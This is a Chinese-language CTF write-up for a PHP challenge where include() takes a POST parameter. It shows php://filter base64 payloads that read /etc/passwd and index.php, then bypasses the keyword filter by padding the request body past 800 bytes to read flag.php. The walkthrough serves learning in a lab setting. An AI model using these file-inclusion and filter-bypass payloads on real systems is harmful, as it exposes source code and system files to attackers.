题目代码如下:
<?php
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;
flag=/var/www/html/flag.php
会触发 waf 。
flag=php://filter/read=convert.base64-encode/resource=flag.php
还是触发了 waf 。
flag=php://filter/read=convert.base64-encode/resource=/etc/passwd
返回结果:
说明伪协议字段并没有被过滤,那么过滤的应该是 flag 字符串。
flag=php://filter/read=convert.base64-encode/resource=index.php
成功读取,解码后获得 index.php 的内容:
<?php
$path = $_POST["flag"];
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>
<code><span style="color: #000000">
<span style="color: #0000BB"><?php <br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag in /var/www/html/flag.php;</span>
</span>
</code><br />
<?php
这里面果然有过滤规则。
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
既然用的是 && ,那么两个条件有一个不满足那么就可以绕过。
php://input
伪协议就是用来获取请求体内容的,那么只要请求体长度超过 800 就可以绕过 waf :
比如:
q=q......q(800个)&flag=php://filter/read=convert.base64-encode/resource=flag.php
拿到 flag :